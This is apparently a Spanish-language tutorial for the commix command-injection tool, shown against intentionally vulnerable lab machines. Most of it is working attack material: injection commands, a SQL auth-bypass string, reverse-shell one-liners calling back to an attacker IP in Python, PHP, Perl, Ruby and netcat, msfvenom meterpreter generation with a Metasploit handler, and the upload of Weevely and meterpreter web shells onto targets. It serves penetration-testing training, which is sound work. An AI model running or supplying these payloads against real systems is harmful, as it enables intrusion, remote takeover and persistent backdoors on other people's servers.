Está escrito en Python (2.6.x o 2.7.x) y está incluida en los repositorios oficiales de:
Pre-instalada en:
O puedes clonar directamente el repositorio Git:
git clone https://github.com/stasinopoulos/commix.git commix
Para obtener una lista de todas las opciones disponibles:
python commix.py -h
Ejemplos de uso
1. Explotando Damn Vulnerable Web App:
root@kali:~/commix# python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=INJECT_HERE&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"
2. Explotando php-Charts 1.0 usando payloads inyectados en cadenas en sufijos y prefijos:
root@kali:~/commix# python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE" --prefix="'" --suffix="//"
3. Explotando OWASP Mutillidae usando cabeceras extras y un proxy HTTP:
root@kali:~/commix# python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=INJECT_HERE" --headers="Accept-Language:fr ETag:123 " --proxy="127.0.0.1:8081"
4. Explotando Persistence usando la técnica de exfiltración ICMP:
root@kali:~/commix# python commix.py --url="http://192.168.178.8/debug.php" --data="addr=INJECT_HERE" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8"
5. Explotando Persistence usando un shell (python) alternativo:
root@kali:~/commix# python commix.py --url="http://192.168.178.8/debug.php" --data="addr=INJECT_HERE" --alter-shell="Python"
6. Explotando Kioptrix: Level 1.1 (#2):
root@kali:~/commix# python commix.py --url="http://192.168.178.2/pingit.php" --data="ip=INJECT_HERE&submit=submit" --auth-url="http://192.168.178.2/index.php" --auth-data="uname=admin&psw=%27+OR+1%3D1--+-&btnLogin=Login"
7. Explotando Kioptrix: 2014 (#5) using custom user-agent and specified injection technique:
root@kali:~/commix# python commix.py --url="http://192.168.178.6:8080/phptax/drawimage.php?pfilez=INJECT_HERE&pdf=make" --user-agent="Mozilla/4.0 Mozilla4_browser" --technique="file-based" --root-dir="/"
8. Explotando CVE-2014-6271/Shellshock:
root@kali:~/commix# python commix.py --url="http://192.168.178.4/cgi-bin/status/" --shellshock
9. Explotando commix-testbed (cookie) usando inyección basada en cookies:
root@kali:~/commix# python commix.py --url="http://192.168.2.8/commix-testbed/cookie/cookie(blind).php" --cookie="addr=INJECT_HERE"
Y otros ejemplos un poco más elaborados:
1. Shell inverso con Netcat (nc)
Paso 1. prepara el shell con Netsat
Escribe en la consola de tú máquina nc -lvp 1234 para empezar a escuchar conexiones en el puerto 1234.
root@kali:~/commix# nc -lvp 1234
listening on [any] 1234 ...
Paso 2. Ejecuta netcat via commix.
En un pestaña/shell diferente, ejecuta:
root@kali:~/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --os-cmd="nc -e /bin/sh 192.168.178.3 1234"
Paso 3. Disfruta del shell inverso netcat.
root@kali:~/commix# nc -lvp 1234
listening on [any] 1234 ...
connect to [192.168.178.3] from debian [192.168.178.4] 36746
whoami
www-data
2. Shell inverso con Netcat-sin-netcat
En los siguiente ejemplos (inspirados en el post de Pentestmonkey "Reverse Shell Cheat Sheet") prepararemos un shell inverso de netcat, ¡sin usar netcat!
Paso 1. prepara el shell con Netsat
Escribe en la consola de tú máquina nc -lvp 1234 para empezar a escuchar conexiones en el puerto 1234.
root@kali:~/commix# nc -lvp 1234
listening on [any] 1234 ...
Paso 2. Elige uno de los siguientes payloads de shell inversos netcat-sin-netcat a través de Commix (por ej. mediante la opción "--os-cmd"):
1. Python-reverse-shell:
%60python+-c+'import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22192.168.178.3%22%2C1234))%3Bos.dup2(s.fileno()%2C0)%3B+os.dup2(s.fileno()%2C1)%3B+os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call([%22%2Fbin%2Fsh%22%2C%22-i%22])%3B'%60
2. PHP-reverse-shell:
%60php+-r+'%24sock%3Dfsockopen(%22192.168.178.3%22%2C1234)%3B+exec(%22%2Fbin%2Fsh+-i+<%263+>%263+2>%263%22)%3B'%60
3. Perl-reverse-shell:
%60perl+-e+'use+Socket%3B%24i%3D%22192.168.178.3%22%3B%24p%3D1234%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(%22tcp%22))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i)))){open(STDIN%2C%22>%26S%22)%3Bopen(STDOUT%2C%22>%26S%22)%3Bopen(STDERR%2C%22>%26S%22)%3Bexec(%22%2Fbin%2Fsh+-i%22)%3B}%3B'%60
4. Ruby-reverse-shell:
%60ruby+-rsocket+-e'f%3DTCPSocket.open(%22192.168.178.3%22%2C1234).to_i%3Bexec+sprintf(%22%2Fbin%2Fsh+-i+<%26%25d+>%26%25d+2>%26%25d%22%2Cf%2Cf%2Cf)'%60
Vamos a suponer que queremos un shell inverso en la "192.168.178.3" y puerto "1234" con Python-reverse-shell. Simplemente en un pestaña/shell diferente, ejecuta:
root@kali:~/Desktop/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --os-cmd="%60python+-c+'import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22192.168.178.3%22%2C1234))%3Bos.dup2(s.fileno()%2C0)%3B+os.dup2(s.fileno()%2C1)%3B+os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call([%22%2Fbin%2Fsh%22%2C%22-i%22])%3B'%60"
Paso 3. Disfruta del shell inverso netcat-sin-netcat:
root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
connect to [192.168.178.3] from debian [192.168.178.4] 43712
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Subir web-shells con Commix
Además Commix permite subir un web-shell (por ejemplo PHP meterpreter) fácilmente en el objetivo:
1. Sube un shell PHP de meterpreter (metasploit) al objetivo:
Paso 1: Crea el shell PHP meterpreter (mediante msfvenom)
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.178.3 LPORT=4444 -e php/base64 -f raw > /root/Desktop/msfvenom.php
Nota: No olvides añadir "" en el fichero msfvenom.php
Paso 2: Arranca el handler (via msfconsole)
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.178.3
LHOST => 192.168.178.3
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.178.3:4444
[*] Starting the payload handler...
Paso 3: Usa commix para crear "msfvenom.php" en el directorio "/var/www/" del objetivo y ejecútalo:
root@kali:~/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --file-write="/root/Desktop/msfvenom.php" --file-dest="/var/www/msfvenom.php" --os-cmd="php -f /var/www/msfvenom.php"
Paso 4: Disfruta de tu shell!
[*] Sending stage (40499 bytes) to 192.168.178.4
[*] Meterpreter session 1 opened (192.168.178.3:4444 -> 192.168.178.4:50450) at 2015-05-16 03:11:42 -0400
meterpreter > sysinfo
Computer : debian
OS : Linux debian 3.16.0-4-586 #1 Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) i686
Meterpreter : php/php
meterpreter >
2. Sube un web-shell PHP Weevely PHP al objetivo
Paso 1 : Crea el web shell PHP
weevely generate commix
[generate.php] Backdoor file 'weevely.php' created with password 'commix'
Paso 2: Usa commix para crear "weevely.php" en el directorio "var/www/html/cmd/" del objetivo:
root@kali:~/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --file-write="/root/Desktop/weevely.php" --file-dest="/var/www/html/cmd/"
Paso 3 : Disfruta de tu shell!
weevely http://192.168.178.4/cmd/weevely.php commix
________ __
| | | |----.----.-.--.----' |--.--.
| | | | -__| -__| | | -__| | | |
|________|____|____|___/|____|__|___ | v1.1
|_____|
Stealth tiny web shell
[+] Browse filesystem, execute commands or list available modules with ':help'
[+] Current session: 'sessions/192.168.178.4/weevely.session'
www-data@debian:/var/www/html/cmd $ ls -la
total 16
drwxrwxrwx 2 root root 4096 May 18 02:02 .
drwxrwxrwx 8 root root 4096 May 14 01:49 ..
-rw-rw-rw- 1 root root 353 May 8 03:28 normal.php
-rw-r--r-- 1 www-data www-data 606 May 18 02:02 weevely.php
Máquinas virtuales con aplicaciones web vulnerables (para aprendizaje)
- Damn Vulnerable Web App
- OWASP: Mutillidae
- bWAPP: bee-box (v1.6)
- Persistence
- Pentester Lab: Web For Pentester
- Pentester Lab: CVE-2014-6271/Shellshock
- Pentester Academy: Command Injection ISO: 1
- SpiderLabs: MCIR (ShelLOL)
- Kioptrix: Level 1.1 (#2)
- Kioptrix: 2014 (#5)
- w3af-moth
- commix-testbed
Demos de explotación
- Exploiting DVWA (1.0.8) command injection flaws.
- Exploiting bWAPP command injection flaws (normal & blind).
- Exploiting 'Persistence' blind command injection flaw.
- Exploiting shellshock command injection flaws.
- Upload a PHP shell (i.e. Metasploit PHP Meterpreter) on target host.
- Upload a Weevely PHP web shell on target host.
¿Quieres aumentar las capacidades de la herramienta commix y/o adaptarlo a tus necesidades? Puedes desarrollar fácilmente e importar tus propios módulos. Para más información, consulta la página wiki 'desarrollo de módulos".
Fuente: https://github.com/stasinopoulos/commix